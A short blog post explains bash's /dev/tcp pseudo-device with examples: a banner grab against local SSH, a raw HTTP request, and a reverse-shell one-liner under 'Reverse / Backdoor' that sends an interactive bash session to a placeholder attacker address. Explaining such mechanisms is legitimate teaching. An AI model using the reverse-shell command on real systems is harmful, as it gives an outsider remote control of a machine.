/dev/tcp

less than 1 minute read

It’s pseudo device file ,opening tcp connection to socket

How it works

    [root@Euzebiusz ~]# cat < /dev/tcp/127.0.0.1/22
    SSH-2.0-OpenSSH_7.4
This is a virtual function
    [root@Euzebiusz ~]# ls -l  /dev/tcp
    ls: cannot access '/dev/tcp': No such file or directory

Its uses:

Web browsing:

    exec 15<>/dev/tcp/consolechars.wordpress.com/80
    echo -e "GET / HTTP/1.1\n\n" >&15
    cat <&15

Reverse / Backdoor

   bash -i >& /dev/tcp/attackersip/port 0>&1

Leave a comment